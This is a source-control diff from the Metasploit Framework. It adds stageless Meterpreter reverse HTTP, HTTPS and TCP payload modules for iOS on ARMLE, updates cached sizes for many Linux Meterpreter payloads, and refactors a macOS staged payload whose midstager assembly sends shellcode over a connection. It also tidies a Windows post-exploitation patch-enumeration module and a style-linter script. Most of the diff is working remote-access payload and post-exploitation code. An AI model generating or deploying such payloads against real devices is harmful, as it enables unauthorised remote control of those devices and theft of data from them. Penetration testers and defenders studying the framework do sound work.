|
|
@ -0,0 +1,46 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_armle_apple_ios'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 639132
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Apple_iOS Meterpreter, Reverse HTTP Inline',
|
||||
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
||||
'Brent Cook <brent_cook[at]rapid7.com>',
|
||||
'timwr'
|
||||
],
|
||||
'Platform' => 'apple_ios',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Session' => Msf::Sessions::Meterpreter_armle_Apple_iOS
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
opts = {
|
||||
scheme: 'http',
|
||||
stageless: true
|
||||
}
|
||||
MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :exec
|
||||
end
|
||||
end
|
|
@ -0,0 +1,46 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_armle_apple_ios'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 639132
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Apple_iOS Meterpreter, Reverse HTTPS Inline',
|
||||
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
||||
'Brent Cook <brent_cook[at]rapid7.com>',
|
||||
'timwr'
|
||||
],
|
||||
'Platform' => 'apple_ios',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Session' => Msf::Sessions::Meterpreter_armle_Apple_iOS
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
opts = {
|
||||
scheme: 'https',
|
||||
stageless: true
|
||||
}
|
||||
MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :exec
|
||||
end
|
||||
end
|
|
@ -0,0 +1,46 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_armle_apple_ios'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 639132
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Apple_iOS Meterpreter, Reverse TCP Inline',
|
||||
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
||||
'Brent Cook <brent_cook[at]rapid7.com>',
|
||||
'timwr'
|
||||
],
|
||||
'Platform' => 'apple_ios',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_armle_Apple_iOS
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
opts = {
|
||||
scheme: 'tcp',
|
||||
stageless: true
|
||||
}
|
||||
MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :exec
|
||||
end
|
||||
end
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1028012
|
||||
CachedSize = 1028092
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1028012
|
||||
CachedSize = 1028092
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1028012
|
||||
CachedSize = 1028092
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1027616
|
||||
CachedSize = 1027728
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1027616
|
||||
CachedSize = 1027728
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1027616
|
||||
CachedSize = 1027728
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1465684
|
||||
CachedSize = 1465840
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1465684
|
||||
CachedSize = 1465840
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1465684
|
||||
CachedSize = 1465840
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1467784
|
||||
CachedSize = 1467896
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1467784
|
||||
CachedSize = 1467896
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1467784
|
||||
CachedSize = 1467896
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1211824
|
||||
CachedSize = 1211848
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1211824
|
||||
CachedSize = 1211848
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1211824
|
||||
CachedSize = 1211848
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1164504
|
||||
CachedSize = 1164528
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1164504
|
||||
CachedSize = 1164528
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1164504
|
||||
CachedSize = 1164528
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/base/sessions/meterpreter_x64_osx'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'macho'
|
||||
require 'msf/core/payload/macho'
|
||||
|
||||
module MetasploitModule
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -37,24 +37,9 @@ module MetasploitModule
|
|||
def handle_intermediate_stage(conn, payload)
|
||||
stager_file = File.join(Msf::Config.data_directory, "meterpreter", "x64_osx_stage")
|
||||
data = File.binread(stager_file)
|
||||
macho = MachO::MachOFile.new_from_bin(data)
|
||||
main_func = macho[:LC_MAIN].first
|
||||
entry_offset = main_func.entryoff
|
||||
|
||||
output_data = ''
|
||||
for segment in macho.segments
|
||||
for section in segment.sections
|
||||
file_section = segment.fileoff + section.offset
|
||||
vm_addr = section.addr - 0x100000000
|
||||
section_data = data[file_section, section.size]
|
||||
if output_data.size < vm_addr
|
||||
output_data += "\x00" * (vm_addr - output_data.size)
|
||||
end
|
||||
if section_data
|
||||
output_data[vm_addr, output_data.size] = section_data
|
||||
end
|
||||
end
|
||||
end
|
||||
macho = Msf::Payload::MachO.new(data)
|
||||
output_data = macho.flatten
|
||||
entry_offset = macho.entrypoint
|
||||
|
||||
midstager_asm = %(
|
||||
push rdi ; save sockfd
|
||||
|
@ -130,8 +115,9 @@ module MetasploitModule
|
|||
)
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
|
||||
print_status("Transmitting first stager...(#{midstager.length} bytes)")
|
||||
|
||||
conn.put(midstager) == midstager.length
|
||||
|
||||
Rex::sleep(0.1)
|
||||
print_status("Transmitting second stager...(#{output_data.length} bytes)")
|
||||
conn.put(output_data) == output_data.length
|
||||
end
|
||||
|
|
|
@ -49,29 +49,35 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
# The sauce starts here
|
||||
def run
|
||||
patches = []
|
||||
|
||||
datastore['KB'].split(',').each do |kb|
|
||||
patches << kb.strip
|
||||
end
|
||||
patches = datastore['KB'].split(',').map(&:strip)
|
||||
|
||||
if datastore['MSFLOCALS']
|
||||
patches = patches + MSF_MODULES.keys
|
||||
patches.concat MSF_MODULES.keys
|
||||
end
|
||||
|
||||
extapi_loaded = load_extapi
|
||||
if extapi_loaded
|
||||
begin
|
||||
objects = session.extapi.wmi.query("SELECT HotFixID FROM Win32_QuickFixEngineering")
|
||||
rescue RuntimeError
|
||||
print_error "Known bug in WMI query, try migrating to another process"
|
||||
return
|
||||
end
|
||||
kb_ids = objects[:values].map { |kb| kb[0] }
|
||||
report_info(patches, kb_ids)
|
||||
else
|
||||
print_error "ExtAPI failed to load"
|
||||
unless load_extapi
|
||||
print_error 'ExtAPI failed to load'
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
objects = session.extapi.wmi.query("SELECT HotFixID FROM Win32_QuickFixEngineering")
|
||||
rescue RuntimeError
|
||||
print_error "Known bug in WMI query, try migrating to another process"
|
||||
return
|
||||
end
|
||||
|
||||
if objects[:values].nil?
|
||||
kb_ids = []
|
||||
else
|
||||
kb_ids = objects[:values].reject(&:nil?).map { |kb| kb[0] }
|
||||
end
|
||||
|
||||
if kb_ids.empty?
|
||||
print_status 'Found no patches installed'
|
||||
end
|
||||
|
||||
report_info(patches, kb_ids)
|
||||
end
|
||||
|
||||
def report_info(patches, kb_ids)
|
||||
|
|
|
@ -265,6 +265,10 @@ class Msftidy
|
|||
if @source =~ /^# This file is part of the Metasploit Framework and may be subject to/
|
||||
warn("Module contains old license comment.")
|
||||
end
|
||||
if @source =~ /^# This module requires Metasploit: http:/
|
||||
warn("Module license comment link does not use https:// URL scheme.")
|
||||
fixed('# This module requires Metasploit: https://metasploit.com/download', 1)
|
||||
end
|
||||
end
|
||||
|
||||
def check_old_keywords
|
||||
|
@ -609,8 +613,14 @@ class Msftidy
|
|||
|
||||
if ln =~ /['"]ExitFunction['"]\s*=>/
|
||||
warn("Please use EXITFUNC instead of ExitFunction #{ln}", idx)
|
||||
fixed(line.gsub('ExitFunction', 'EXITFUNC'), idx)
|
||||
end
|
||||
|
||||
# Output from Base64.encode64 method contains '\n' new lines
|
||||
# for line wrapping and string termination
|
||||
if ln =~ /Base64\.encode64/
|
||||
info("Please use Base64.strict_encode64 instead of Base64.encode64")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -647,7 +657,7 @@ class Msftidy
|
|||
# This module then got copied and committed 20+ times and is used in numerous other places.
|
||||
# This ensures that this stops.
|
||||
def check_invalid_url_scheme
|
||||
test = @source.scan(/^#.+http\/\/(?:www\.)?metasploit.com/)
|
||||
test = @source.scan(/^#.+https?\/\/(?:www\.)?metasploit.com/)
|
||||
unless test.empty?
|
||||
test.each { |item|
|
||||
warn("Invalid URL: #{item}")
|
||||
|
|
|
@ -27,6 +27,7 @@ arches = [
|
|||
['zarch', 'Linux', 's390x-linux-musl'],
|
||||
['x64', 'OSX', 'x86_64-apple-darwin'],
|
||||
['aarch64', 'Apple_iOS', 'aarch64-iphone-darwin'],
|
||||
['armle', 'Apple_iOS', 'arm-iphone-darwin'],
|
||||
]
|
||||
|
||||
arch = ''
|
||||
|
|
Loading…
Reference in New Issue